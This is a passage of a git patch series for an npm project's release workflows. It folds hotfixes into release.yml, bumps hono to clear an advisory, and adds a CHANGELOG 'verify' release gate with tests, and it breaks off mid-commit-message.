env: + BRANCH: ${{ needs.validate-version.outputs.branch }} + BASE_TAG: ${{ needs.validate-version.outputs.base_tag }} + VERSION: ${{ inputs.version }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + npm version "$VERSION" --no-git-tag-version + git add package.json package-lock.json + git commit -m "chore: bump version to $VERSION for hotfix" + if [ "$DRY_RUN" != "true" ]; then + git push origin "$BRANCH" + else + echo "DRY RUN — branch not pushed." + fi + { + echo "## Hotfix branch created" + echo "" + echo "- Branch: \`$BRANCH\`" + echo "- Based on: \`$BASE_TAG\`" + echo "- Apply additional manual fixes if needed, then run \`finalize\`." + } >> "$GITHUB_STEP_SUMMARY" + install-smoke-rc: needs: validate-version if: inputs.action == 'rc' diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ef458d327..2b0caebf8 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -133,7 +133,7 @@ and `next` (integration for the upcoming release). **Almost every PR targets | `chore/`, `docs/`, `refactor/`, `test/`, `perf/`, `ci/`, `revert/` | `next` | All routine work | | `fix/critical-NNN-slug` | `main` | Production-down emergencies only; auto-back-merges to `next` | | `release/X.Y.0` | `main` | Created by `release.yml` — don't make these by hand | -| `hotfix/X.Y.Z` | `main` | Created by `hotfix.yml` — don't make these by hand | +| `hotfix/X.Y.Z` | `main` | Created by `release.yml` (dispatch with a patch version X.Y.Z) — don't make these by hand | | Stabilization PR for an in-flight release | `release/X.Y.0` | Fix a regression found during the RC cycle | **Day-to-day commands:** From e3571b2e1bf2ee97d70e9ee59f9ce9189a6c54d8 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 14:57:18 -0400 Subject: [PATCH 07/94] fix(#676): update tests/docs referencing deleted hotfix.yml (#680) hotfix.yml was deleted (folded into release.yml). Remove the now-broken release-coverage-scope and policy-release-no-npm-self-upgrade assertions that readFileSync'd hotfix.yml (release.yml equivalents retained), drop the dead install-smoke.yml path trigger, and update VERSIONING.md / docs/branching.md prose to describe hotfixes via the Release workflow with a patch version. Co-authored-by: Claude Opus 4.8 --- .github/workflows/install-smoke.yml | 1 - VERSIONING.md | 21 +++++------------- docs/branching.md | 22 +++++++++---------- ...olicy-release-no-npm-self-upgrade.test.cjs | 16 -------------- tests/release-coverage-scope.test.cjs | 13 ++--------- 5 files changed, 18 insertions(+), 55 deletions(-) diff --git a/.github/workflows/install-smoke.yml b/.github/workflows/install-smoke.yml index 279923a8a..0b62bd48c 100644 --- a/.github/workflows/install-smoke.yml +++ b/.github/workflows/install-smoke.yml @@ -30,7 +30,6 @@ on: - 'tests/release-tarball-smoke.install.test.cjs' - '.github/workflows/install-smoke.yml' - '.github/workflows/release.yml' - - '.github/workflows/hotfix.yml' push: branches: - main diff --git a/VERSIONING.md b/VERSIONING.md index cb9de4e96..c568db28a 100644 --- a/VERSIONING.md +++ b/VERSIONING.md @@ -71,35 +71,24 @@ For fixes that need to ship without waiting for the next minor. A hotfix `vX.YY.Z` cumulatively includes everything in `vX.YY.{Z-1}` plus every `fix:`/`chore:` commit landed on `main` since that base. The base tag is the anchor — `git cherry $BASE_TAG main` reveals exactly which commits are still unshipped, and the new `vX.YY.Z` tag becomes the next hotfix's base, so the cycle is self-documenting. -#### Two paths +#### How to dispatch a hotfix -**Path A — `hotfix.yml` (canonical, two-step):** +Hotfixes are dispatched via the **Release workflow (`release.yml`)** with a patch version (X.Y.Z). There is no separate hotfix workflow. -1. Trigger `hotfix.yml` with `action=create`, `version=1.27.1`, `auto_cherry_pick=true` (default). +1. Trigger `release.yml` with `action=create`, `version=1.27.1`, `auto_cherry_pick=true` (default). - Workflow detects `BASE_TAG` = highest `v1.27.*` < `v1.27.1` (so `1.27.1` branches from `v1.27.0`; `1.27.2` would branch from `v1.27.1`). - Branches `hotfix/1.27.1` from `BASE_TAG`. - Auto-cherry-picks every `fix:`/`chore:` commit on `origin/main` not already in the base, oldest-first. Patch-equivalents are skipped via `git cherry`. `feat:`/`refactor:` are **never** auto-included. - On conflict the workflow halts with the offending SHA. Resolve manually on the branch, then re-run finalize with `auto_cherry_pick=false`. - Bumps `package.json` (and `sdk/package.json`), pushes the branch, and lists every included SHA in the run summary. 2. (Optional) push additional manual commits to `hotfix/1.27.1`. -3. Trigger `hotfix.yml` with `action=finalize`. The workflow: +3. Trigger `release.yml` with `action=finalize`. The workflow: - Runs `install-smoke` cross-platform gate. - Runs full test suite + coverage. - - Builds SDK, bundles `sdk-bundle/gsd-sdk.tgz` inside the CC tarball (parity with `release-sdk.yml`). + - Builds SDK, bundles `sdk-bundle/gsd-sdk.tgz` inside the CC tarball. - Tags `v1.27.1`, publishes to `@latest`, re-points `@next → v1.27.1`. - Opens merge-back PR against `main`. -**Path B — `release-sdk.yml` (stopgap, one-shot):** - -Active while the `@opengsd/gsd-sdk` npm token is unavailable; bundles the SDK inside the CC tarball. - -1. Trigger `release-sdk.yml` with `action=hotfix`, `version=1.27.1`, `auto_cherry_pick=true`. - - The `prepare` job creates the branch and cherry-picks (same logic as Path A). - - `install-smoke` runs against the new branch. - - The `release` job tags, publishes to `@latest`, re-points `@next`, opens merge-back PR. - - Idempotent: if `hotfix/1.27.1` already exists (e.g. you ran `hotfix.yml create` first), the prepare job checks it out and re-runs cherry-pick as a no-op. -2. `dry_run=true` exercises the full pipeline without pushing the branch or publishing. - ### Minor Release (Standard Cycle) For accumulated fixes and enhancements. diff --git a/docs/branching.md b/docs/branching.md index 6dd40958a..2f1edd960 100644 --- a/docs/branching.md +++ b/docs/branching.md @@ -74,7 +74,7 @@ These are work branches. Open one, push commits, PR it, merge it, let it auto-de | `perf/` | Performance work, no behavior change | `next` | `perf/3300-skill-index` | | `ci/` | CI/workflow changes only | `next` | `ci/3801-add-node-26-matrix` | | `revert/` | Reverting a previously-merged change | `next` (or `main` if urgent) | `revert/3919-bad-merge` | -| `hotfix/X.Y.Z` | Patch release branch (created by `hotfix.yml`) | `main` | `hotfix/1.27.1` | +| `hotfix/X.Y.Z` | Patch release branch (created by `release.yml` with a patch version X.Y.Z) | `main` | `hotfix/1.27.1` | | `release/X.Y.0` | Minor/major release branch (created by `release.yml`) | `main` | `release/1.28.0` | > **The branch name rule is enforced** by `.github/workflows/branch-naming.yml`. @@ -130,10 +130,10 @@ git pull --ff-only git checkout -b fix/3919-critical-crash # ... commit, push, PR to next, merge. -# 2. Trigger the hotfix workflow from the Actions tab: -# workflow: Hotfix Release +# 2. Trigger the Release workflow (release.yml) from the Actions tab: +# workflow: Release # action: create -# version: 1.27.1 (next patch number) +# version: 1.27.1 (next patch number, X.Y.Z) # auto_cherry_pick: true (default) ``` @@ -148,7 +148,7 @@ The workflow: 6. `finalize` publishes to npm `@latest`, tags `v1.27.1`, opens merge-back PRs to **both** `main` and `next`. -> See `.github/workflows/hotfix.yml` and `VERSIONING.md` for the deep dive. +> See `.github/workflows/release.yml` and `VERSIONING.md` for the deep dive. ### Flow 3 — Minor or major release @@ -212,7 +212,7 @@ resolve anyway. The treadmill is gone. ## Cheat sheet: "where does my PR go?" ``` -Is it a hotfix release branch? → main (cut by hotfix.yml) +Is it a hotfix release branch? → main (cut by release.yml with a patch version X.Y.Z) Is it a stable release branch? → main (cut by release.yml) Is it an RC-blocker fix? → release/X.Y.0 (and also next, or rely on back-merge) Is it everything else? → next @@ -248,10 +248,10 @@ the base branch — no need to recreate the PR. ``` - **Phasing in:** see the migration notes in `docs/adr/230-introduce-next-integration-branch.md`. -- **Updating release.yml / hotfix.yml:** these workflows currently branch - from `main` and cherry-pick from `main`. After phase-2 of the migration - they should branch from `next` (release) and cherry-pick from `next` - (hotfix). The patches are inlined in the ADR. +- **Updating release.yml:** this workflow currently branches from `main` and + cherry-picks from `main`. After phase-2 of the migration it should branch + from `next` (release) and cherry-pick from `next` (hotfix). The patches + are inlined in the ADR. --- @@ -262,7 +262,7 @@ A few exceptions where the rules above bend: - **True production-down emergency.** Push directly to a `fix/critical-*` branch, PR to `main`. The auto-back-merge workflow will replay it onto `next` within minutes. Use sparingly — most "urgent" things are fine to go - through `next` and ship same day via the hotfix workflow. + through `next` and ship same day via the Release workflow (patch version). - **Documentation-only typo on a published page.** If the only change is a doc fix that's visible right now and shouldn't wait for the next release, PR it to `main`. The auto-back-merge will sync `next`. Most doc changes diff --git a/tests/policy-release-no-npm-self-upgrade.test.cjs b/tests/policy-release-no-npm-self-upgrade.test.cjs index 753593cfa..02794b0b8 100644 --- a/tests/policy-release-no-npm-self-upgrade.test.cjs +++ b/tests/policy-release-no-npm-self-upgrade.test.cjs @@ -18,7 +18,6 @@ const NPM_SELF_UPGRADE_RE = /\bnpm\s+(install|i)\s+(-g|--global)\b[^\n]*\bnpm(@| describe('policy: no runtime npm self-upgrade in release lanes (#318)', () => { const releaseFile = path.join(WORKFLOWS_DIR, 'release.yml'); - const hotfixFile = path.join(WORKFLOWS_DIR, 'hotfix.yml'); test('release.yml must not contain a runtime global npm self-upgrade step', () => { const content = fs.readFileSync(releaseFile, 'utf8'); @@ -36,21 +35,6 @@ describe('policy: no runtime npm self-upgrade in release lanes (#318)', () => { ); }); - test('hotfix.yml must not contain a runtime global npm self-upgrade step', () => { - const content = fs.readFileSync(hotfixFile, 'utf8'); - const lines = content.split('\n'); - const violations = lines - .map((line, idx) => ({ line, lineNo: idx + 1 })) - .filter(({ line }) => NPM_SELF_UPGRADE_RE.test(line)); - - assert.strictEqual( - violations.length, - 0, - `hotfix.yml contains ${violations.length} runtime npm self-upgrade line(s) — ` + - `Violations: ${violations.map(({ lineNo, line }) => `line ${lineNo}: ${line.trim()}`).join('; ')}` - ); - }); - test('NPM_SELF_UPGRADE_RE correctly matches the antipattern', () => { // Positive cases — must match assert.ok(NPM_SELF_UPGRADE_RE.test('npm install -g npm@latest'), 'should match npm install -g npm@latest'); diff --git a/tests/release-coverage-scope.test.cjs b/tests/release-coverage-scope.test.cjs index e336627a4..f795a855a 100644 --- a/tests/release-coverage-scope.test.cjs +++ b/tests/release-coverage-scope.test.cjs @@ -1,5 +1,5 @@ // allow-test-rule: source-text-is-the-product -// .github/workflows/{release,hotfix}.yml are the deployed CI contract; asserting +// .github/workflows/release.yml is the deployed CI contract; asserting // the release-gate test command is only expressible against the workflow text. 'use strict'; @@ -10,7 +10,6 @@ const fs = require('node:fs'); const path = require('node:path'); const RELEASE_WORKFLOW = path.join(__dirname, '..', '.github', 'workflows', 'release.yml'); -const HOTFIX_WORKFLOW = path.join(__dirname, '..', '.github', 'workflows', 'hotfix.yml'); describe('release-coverage-scope', () => { test('release.yml uses test:coverage:unit (not full suite) in both rc and finalize gates', () => { @@ -23,13 +22,5 @@ describe('release-coverage-scope', () => { `release.yml has ${unitCount} 'npm run test:coverage:unit' line(s); expected 2`); }); - test('hotfix.yml uses test:coverage:unit (not full suite) in the finalize gate', () => { - const lines = fs.readFileSync(HOTFIX_WORKFLOW, 'utf8').split('\n').map(l => l.trim()); - const bareCount = lines.filter(l => l === 'npm run test:coverage').length; - const unitCount = lines.filter(l => l === 'npm run test:coverage:unit').length; - assert.strictEqual(bareCount, 0, - `hotfix.yml still has ${bareCount} bare 'npm run test:coverage' line(s); expected 0`); - assert.strictEqual(unitCount, 1, - `hotfix.yml has ${unitCount} 'npm run test:coverage:unit' line(s); expected 1`); - }); + }); From 69944ff5276f8880b5dd6237a40f3be17b978583 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 15:07:18 -0400 Subject: [PATCH 08/94] fix: bump hono to 4.12.23 on next to clear moderate advisory Same moderate hono advisory (GHSA-3hrh-pfw6-9m5x et al.) that blocked the 1.3.1 hotfix is present on next (was 4.12.19); bump to keep the npm-audit gate green. Co-Authored-By: Claude Opus 4.8 --- package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index c513b2523..1836d2c03 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3558,9 +3558,9 @@ } }, "node_modules/hono": { - "version": "4.12.19", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.19.tgz", - "integrity": "sha512-xa3eYXYXx68XTT4hZ7dRzsXBhaq85ToSrlUJNoR0gwz/1Ap/CNwX47wfvV7pc/xWhjKVVkLT7zBJy8chhNguqQ==", + "version": "4.12.23", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.23.tgz", + "integrity": "sha512-eIaZ9qDgu7XV0pxOCrg7/WhnQ6Ivm22UcxhXx/A3dcbqbbYgBEkc6e/J/s7j2tS96zoB0S9VBdLwQNCWwUo4LA==", "license": "MIT", "engines": { "node": ">=16.9.0" From 3042b79178943a30af927ebac63c3c9b3cdbf912 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 22:48:21 -0400 Subject: [PATCH 09/94] fix(#690): promote CHANGELOG 1.3.x + gate release-notes promotion (#694) * fix(#690): promote CHANGELOG 1.3.x + gate release-notes promotion /gsd:update showed an empty "What's New" preview after updating to 1.3.1 because CHANGELOG.md's 1.3.x content was never promoted out of [Unreleased] into dated sections, so `scripts/changeset/cli.cjs extract` returned exit 2 ("no releases in range"). - CHANGELOG.md: split [Unreleased] into dated [1.3.0] and [1.3.1] sections (1.3.1 = hono advisory bump + installer-migration checksum self-heal, #670; 1.3.0 = the feature release), restoring an empty [Unreleased]. - scripts/changeset/cli.cjs: new `verify` subcommand that exits non-zero when CHANGELOG has no dated `## [x.y.z]` heading for a version; hoist shared stripV/resolveChangelogPath helpers used by extract + verify. - .github/workflows/release.yml: gate the finalize job on `verify` (after the build, before tag/publish) so an unpromoted CHANGELOG can never ship again. - gsd-core/workflows/update.md: move `rm -f $CHANGELOG_TMP` after the human-readable extract re-run so the preview no longer degrades to "(changelog unavailable)". - tests: regression guard for the 1.3.x headings + extract range + verify command coverage (present/absent/undated/v-prefixed/--json/prerelease). Closes #690 Co-Authored-By: Claude Opus 4.8 * chore(#690): add changeset fragment for #694 Fixed-type fragment for the user-facing /gsd:update preview fix and the release-notes promotion gate. Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .changeset/tidy-otters-glide.md | 5 + .github/workflows/release.yml | 6 + CHANGELOG.md | 12 ++ gsd-core/workflows/update.md | 3 +- scripts/changeset/cli.cjs | 89 ++++++++++++++- tests/changeset-cli.test.cjs | 195 ++++++++++++++++++++++++++++++++ 6 files changed, 303 insertions(+), 7 deletions(-) create mode 100644 .changeset/tidy-otters-glide.md diff --git a/.changeset/tidy-otters-glide.md b/.changeset/tidy-otters-glide.md new file mode 100644 index 000000000..700e9210b --- /dev/null +++ b/.changeset/tidy-otters-glide.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 694 +--- +**`/gsd:update` reliably previews release notes again** — promotes the 1.3.x changelog into dated `[1.3.0]`/`[1.3.1]` sections, stops deleting the temp changelog before the human-readable render (no more `(changelog unavailable)`), and adds a release gate that blocks publishing a version whose `CHANGELOG.md` section was never promoted. diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1ac2ca9a6..f0dd401dc 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -495,6 +495,12 @@ jobs: node scripts/check-npm-integrity.cjs npm run test:coverage:unit + - name: Verify CHANGELOG promoted + env: + VERSION: ${{ inputs.version }} + run: | + node scripts/changeset/cli.cjs verify --version "$VERSION" --changelog CHANGELOG.md + # npm bundled with Node 24 (pinned via setup-node) already supports trusted publishing (#318) - name: Dry-run publish validation diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f25bcfef..913a58ac8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,18 @@ Format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [Unreleased] +## [1.3.1](https://www.npmjs.com/package/@opengsd/gsd-core/v/1.3.1) - 2026-06-04 + +### Security + +- **Bumped `hono` to clear a moderate npm advisory** carried transitively in the dependency tree. (#670) + +### Fixed + +- **Installer-migration checksum drift no longer blocks upgrades** — the updater now self-heals when a shipped migration's recorded checksum has drifted, reconciling the stored checksum instead of aborting. Restores upgrades across all OSes after shipped migration bodies were edited in a prior release. (#670) + +## [1.3.0](https://www.npmjs.com/package/@opengsd/gsd-core/v/1.3.0) - 2026-06-04 + ### Added - **Vertical MVP Slice mode** — `--mvp` flag on `/gsd-plan-phase` switches the planner from horizontal layer decomposition to vertical feature-slice decomposition (UI→API→DB in one task sequence). On Phase 1 of a new project with no prior phase summaries, also emits `SKELETON.md` via Walking Skeleton mode. Composable with `--tdd`: `--mvp --tdd` produces vertical slices where every behavior-adding task starts with a failing test. Phase-level persistence via `**Mode:** mvp` in ROADMAP.md applies `--mvp` automatically without the flag. (#78) diff --git a/gsd-core/workflows/update.md b/gsd-core/workflows/update.md index 31e69d098..77692917e 100644 --- a/gsd-core/workflows/update.md +++ b/gsd-core/workflows/update.md @@ -174,7 +174,6 @@ EXTRACT_JSON=$(node "$GSD_DIR/gsd-core/scripts/changeset/cli.cjs" extract \ --changelog "$CHANGELOG_TMP" \ --json 2>/dev/null) EXTRACT_EXIT=$? -rm -f "$CHANGELOG_TMP" if [ "$EXTRACT_EXIT" -eq 2 ]; then # Exit 2 = no releases in range (e.g. versions are equal or changelog is sparse) @@ -188,6 +187,8 @@ else --to "$LATEST_VERSION" \ --changelog "$CHANGELOG_TMP" 2>/dev/null || echo "(changelog unavailable)") fi +# Clean up temp changelog now that both extract runs are done +rm -f "$CHANGELOG_TMP" ``` 3. Display preview and ask for confirmation, using `$CHANGELOG_PREVIEW` from the extract step above: diff --git a/scripts/changeset/cli.cjs b/scripts/changeset/cli.cjs index cf2823233..097e06a04 100755 --- a/scripts/changeset/cli.cjs +++ b/scripts/changeset/cli.cjs @@ -188,6 +188,14 @@ function cmdRender(opts) { }; } +function stripV(v) { return typeof v === 'string' ? v.replace(/^v/, '') : v; } + +function resolveChangelogPath(opts) { + return opts.changelog + ? path.resolve(opts.changelog) + : path.join(path.resolve(opts.repo), 'CHANGELOG.md'); +} + /** * extract subcommand: extracts all changelog release blocks strictly after * `--from` (exclusive) up to and including `--to` (inclusive). Both @@ -203,7 +211,6 @@ function cmdRender(opts) { * vague/manual extraction that can silently skip intermediate versions. */ function cmdExtract(opts) { - const stripV = (v) => (typeof v === 'string' ? v.replace(/^v/, '') : v); const from = stripV(opts.fromRef); const to = stripV(opts.toRef); @@ -225,9 +232,7 @@ function cmdExtract(opts) { }; } - const changelogPath = opts.changelog - ? path.resolve(opts.changelog) - : path.join(path.resolve(opts.repo), 'CHANGELOG.md'); + const changelogPath = resolveChangelogPath(opts); if (!fs.existsSync(changelogPath)) { return { @@ -282,6 +287,61 @@ function cmdExtract(opts) { }; } +function cmdVerify(opts) { + const version = stripV(opts.version); + + if (!isStableTripletSemver(version)) { + return { + exitCode: 1, + report: { error: `invalid semver for --version: "${version}" (expected N.N.N)`, ok: false }, + textOutput: null, + }; + } + + const changelogPath = resolveChangelogPath(opts); + + if (!fs.existsSync(changelogPath)) { + return { + exitCode: 1, + report: { error: `CHANGELOG not found: ${changelogPath}`, ok: false }, + textOutput: null, + }; + } + + const text = fs.readFileSync(changelogPath, 'utf8'); + const { releases } = parseChangelog(text); + + const match = releases.find((r) => r.version === version); + + if (!match) { + return { + exitCode: 1, + report: { + error: `CHANGELOG.md has no \`## [${version}]\` release heading — promote [Unreleased] into a dated section before releasing (see #690)`, + ok: false, + }, + textOutput: null, + }; + } + + if (!match.date) { + return { + exitCode: 1, + report: { + error: `CHANGELOG.md heading \`## [${version}]\` has no date — expected \`## [${version}] - YYYY-MM-DD\``, + ok: false, + }, + textOutput: null, + }; + } + + return { + exitCode: 0, + report: { ok: true, version, date: match.date }, + textOutput: `CHANGELOG.md has a dated heading for ${version} (${match.date})`, + }; +} + function cmdGithubReleaseNotes(opts) { const repo = path.resolve(opts.repo); const report = renderGithubReleaseNotes({ @@ -328,6 +388,7 @@ function usage() { ' Extracts changelog entries strictly after --from (exclusive) and up to', ' and including --to (inclusive). Accepts v-prefixed versions.', ' Exit 2 when no releases fall in range.', + ' changeset/cli.cjs verify --version [--changelog ] Exit non-zero if CHANGELOG.md has no dated `## [X.Y.Z]` heading (release gate, #690)', '', ].join('\n'); } @@ -340,7 +401,7 @@ function main() { process.exit(2); } const { opts } = parsed; - if (opts.cmd !== 'render' && opts.cmd !== 'github-release-notes' && opts.cmd !== 'extract') { + if (opts.cmd !== 'render' && opts.cmd !== 'github-release-notes' && opts.cmd !== 'extract' && opts.cmd !== 'verify') { process.stderr.write(usage()); process.exit(1); } @@ -357,6 +418,10 @@ function main() { process.stderr.write(usage()); process.exit(1); } + if (opts.cmd === 'verify' && !opts.version) { + process.stderr.write('--version is required for verify\n'); + process.exit(2); + } if (opts.cmd === 'extract') { const { exitCode, report, textOutput } = cmdExtract(opts); @@ -370,6 +435,18 @@ function main() { process.exit(exitCode); } + if (opts.cmd === 'verify') { + const { exitCode, report, textOutput } = cmdVerify(opts); + if (opts.json) { + process.stdout.write(JSON.stringify(report, null, 2) + '\n'); + } else if (textOutput) { + process.stdout.write(textOutput + '\n'); + } else { + process.stderr.write(report.error + '\n'); + } + process.exit(exitCode); + } + const { exitCode, report } = opts.cmd === 'render' ? cmdRender(opts) : cmdGithubReleaseNotes(opts); if (opts.json) { process.stdout.write(JSON.stringify(report, null, 2) + '\n'); @@ -389,4 +466,4 @@ function main() { if (require.main === module) main(); -module.exports = { cmdRender, cmdExtract, cmdGithubReleaseNotes, parseArgs, splitChangelog, listFragmentFiles, usage }; +module.exports = { cmdRender, cmdExtract, cmdVerify, cmdGithubReleaseNotes, parseArgs, splitChangelog, listFragmentFiles, usage }; diff --git a/tests/changeset-cli.test.cjs b/tests/changeset-cli.test.cjs index 789785f44..0e777eb2a 100644 --- a/tests/changeset-cli.test.cjs +++ b/tests/changeset-cli.test.cjs @@ -382,3 +382,198 @@ describe('changeset cli render: file-I/O wrapper (#2975)', () => { assert.deepEqual(remaining.filter((f) => f.endsWith('.md')), []); }); }); + +// --------------------------------------------------------------------------- +// GROUP A — #690 regression guard (real repo CHANGELOG.md) +// --------------------------------------------------------------------------- + +describe('changeset cli #690 regression: CHANGELOG.md has 1.3.0 and 1.3.1 entries', () => { + const CHANGELOG_PATH = path.join(ROOT, 'CHANGELOG.md'); + + test('CHANGELOG.md has dated 1.3.0 and 1.3.1 release headings (regression #690)', () => { + const text = fs.readFileSync(CHANGELOG_PATH, 'utf8'); + const { releases } = parseChangelog(text); + const stableReleases = releases.filter((r) => r.version !== 'Unreleased'); + + const v130 = stableReleases.find((r) => r.version === '1.3.0'); + assert.ok(v130, 'CHANGELOG.md must contain a release entry for version 1.3.0'); + assert.ok(v130.date !== null && v130.date !== '', '1.3.0 entry must have a non-null, non-empty date'); + + const v131 = stableReleases.find((r) => r.version === '1.3.1'); + assert.ok(v131, 'CHANGELOG.md must contain a release entry for version 1.3.1'); + assert.ok(v131.date !== null && v131.date !== '', '1.3.1 entry must have a non-null, non-empty date'); + }); + + test('extract 1.2.0->1.3.1 against repo CHANGELOG returns both 1.3.x releases (regression #690)', () => { + const r = cp.spawnSync( + process.execPath, + [SCRIPT, 'extract', '--from', '1.2.0', '--to', '1.3.1', '--changelog', CHANGELOG_PATH, '--json'], + { encoding: 'utf8' }, + ); + const json = (() => { try { return JSON.parse(r.stdout); } catch { return null; } })(); + assert.equal(r.status, 0, `expected exit 0 but got ${r.status}; stderr=${r.stderr}; stdout=${r.stdout}`); + assert.ok(json, 'stdout must be valid JSON'); + const versions = (json.releases || []).map((rel) => rel.version); + assert.ok(versions.includes('1.3.0'), `releases array must include 1.3.0; got: ${JSON.stringify(versions)}`); + assert.ok(versions.includes('1.3.1'), `releases array must include 1.3.1; got: ${JSON.stringify(versions)}`); + }); +}); + +// --------------------------------------------------------------------------- +// GROUP B — unit tests for the (not-yet-implemented) `verify` subcommand +// --------------------------------------------------------------------------- + +function runVerify(args, changelogText) { + const changelogFile = path.join(tmp, 'CHANGELOG-verify-test.md'); + fs.writeFileSync(changelogFile, changelogText); + const r = cp.spawnSync( + process.execPath, + [SCRIPT, 'verify', '--changelog', changelogFile, ...args], + { encoding: 'utf8' }, + ); + return { + status: r.status, + stdout: r.stdout || '', + stderr: r.stderr || '', + }; +} + +describe('changeset cli verify subcommand (not yet implemented — TDD red step)', () => { + // Fixture: inline-URL heading form ## [1.3.1](url) - 2026-06-04 + const FIXTURE_URL_HEADING = [ + '# Changelog', + '', + '## [1.3.1](https://www.npmjs.com/package/@opengsd/gsd-core/v/1.3.1) - 2026-06-04', + '', + '### Fixed', + '', + '- Some fix. (#42)', + '', + '## [1.2.0] - 2026-05-31', + '', + '### Added', + '', + '- Some feature. (#10)', + ].join('\n'); + + // Fixture: plain dated heading ## [1.3.1] - 2026-06-04 + const FIXTURE_PLAIN_HEADING = [ + '# Changelog', + '', + '## [1.3.1] - 2026-06-04', + '', + '### Fixed', + '', + '- Some fix. (#42)', + '', + '## [1.2.0] - 2026-05-31', + '', + '### Added', + '', + '- Some feature. (#10)', + ].join('\n'); + + // Fixture: version absent (only Unreleased + 1.2.0) + const FIXTURE_NO_131 = [ + '# Changelog', + '', + '## [Unreleased]', + '', + '## [1.2.0] - 2026-05-31', + '', + '### Added', + '', + '- Some feature. (#10)', + ].join('\n'); + + // Fixture: heading present but NO date + const FIXTURE_NO_DATE = [ + '# Changelog', + '', + '## [1.3.1]', + '', + '### Fixed', + '', + '- Some fix. (#42)', + ].join('\n'); + + test('verify --version 1.3.1 exits 0 when inline-URL dated heading is present', () => { + const r = runVerify(['--version', '1.3.1'], FIXTURE_URL_HEADING); + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + }); + + test('verify --version 1.3.1 exits 0 when plain dated heading is present', () => { + const r = runVerify(['--version', '1.3.1'], FIXTURE_PLAIN_HEADING); + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + }); + + test('verify --version 1.3.1 exits 1 when version heading is absent', () => { + const r = runVerify(['--version', '1.3.1'], FIXTURE_NO_131); + assert.equal(r.status, 1, `expected exit 1; stderr=${r.stderr}`); + }); + + test('verify --version 1.3.1 exits 1 when heading has no date', () => { + const r = runVerify(['--version', '1.3.1'], FIXTURE_NO_DATE); + assert.equal(r.status, 1, `expected exit 1; stderr=${r.stderr}`); + }); + + test('verify --version 1.3.1 with no match emits non-empty stderr/message', () => { + const r = runVerify(['--version', '1.3.1'], FIXTURE_NO_131); + assert.ok( + (r.stderr && r.stderr.trim().length > 0) || (r.stdout && r.stdout.trim().length > 0), + 'must emit a non-empty error message to stderr or stdout when version not found', + ); + }); + + test('verify --version 1.3.x exits 1 for invalid semver', () => { + // Use any non-empty fixture; the version check should fail before reading the file. + const r = runVerify(['--version', '1.3.x'], FIXTURE_PLAIN_HEADING); + assert.equal(r.status, 1, `expected exit 1 for invalid semver 1.3.x; stderr=${r.stderr}`); + }); + + test('verify --version v1.3.1 (v-prefixed) exits 0 when dated heading present', () => { + // The leading `v` must be stripped, matching extract's behavior. + const FIXTURE_DATED = [ + '# Changelog', + '', + '## [1.3.1] - 2026-06-04', + '', + '### Fixed', + '', + '- Some fix. (#42)', + ].join('\n'); + const r = runVerify(['--version', 'v1.3.1'], FIXTURE_DATED); + assert.equal(r.status, 0, `expected exit 0 for v-prefixed version; stderr=${r.stderr}`); + }); + + test('verify --version 1.3.1 --json exits 0 and emits ok/version/date JSON fields', () => { + const FIXTURE_DATED = [ + '# Changelog', + '', + '## [1.3.1] - 2026-06-04', + '', + '### Fixed', + '', + '- Some fix. (#42)', + ].join('\n'); + const changelogFile = path.join(tmp, 'CHANGELOG-verify-test.md'); + fs.writeFileSync(changelogFile, FIXTURE_DATED); + const r = cp.spawnSync( + process.execPath, + [SCRIPT, 'verify', '--version', '1.3.1', '--json', '--changelog', changelogFile], + { encoding: 'utf8' }, + ); + assert.equal(r.status, 0, `expected exit 0; stderr=${r.stderr}`); + const json = (() => { try { return JSON.parse(r.stdout); } catch { return null; } })(); + assert.ok(json, 'stdout must be valid JSON'); + assert.strictEqual(json.ok, true, 'json.ok must be true'); + assert.strictEqual(json.version, '1.3.1', 'json.version must equal "1.3.1"'); + assert.ok(json.date && json.date.length > 0, 'json.date must be non-empty'); + }); + + test('verify --version 1.3.1-rc.1 (pre-release) exits 1', () => { + // Non-stable-triplet semver is rejected by the verify subcommand. + const r = runVerify(['--version', '1.3.1-rc.1'], FIXTURE_PLAIN_HEADING); + assert.equal(r.status, 1, `expected exit 1 for pre-release version; stderr=${r.stderr}`); + }); +}); From d494f24cbdeb2779a9518c1ad72d54ddb92dd021 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Thu, 4 Jun 2026 23:46:17 -0400 Subject: [PATCH 10/94] =?UTF-8?q?fix(#698):=20make=20auto-backmerge=20main?= =?UTF-8?q?=E2=86=92next=20actually=20land=20(admin-merge=20via=20PAT)=20(?= =?UTF-8?q?#699)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Auto Back-Merge workflow could open a back-merge PR but never landed it, and silently reported success on failure. Fixes: - Merge via admin bypass using GSD_BOT_PR_TOKEN (the PAT) instead of auto-merge, since back-merge PRs structurally can't satisfy next's required checks (Issue-link / PR-template / changeset-lint). - Stop swallowing create/merge failures with "|| echo ::warning" — real failures now fail the job. (That greenwashing hid the whole bug.) - Resolve the PR number with `--jq '.[0].number // empty'` (a no-match returns the string "null", not empty) and capture a freshly-created PR's number from the create URL to avoid GitHub API eventual-consistency races. - Merge the exact PR number (env-bound) rather than by branch name. - Force-push the disposable SHA-named bot branch, guarded by a chore/backmerge-main-to-next-* name check so a mislabeled PR can't redirect the 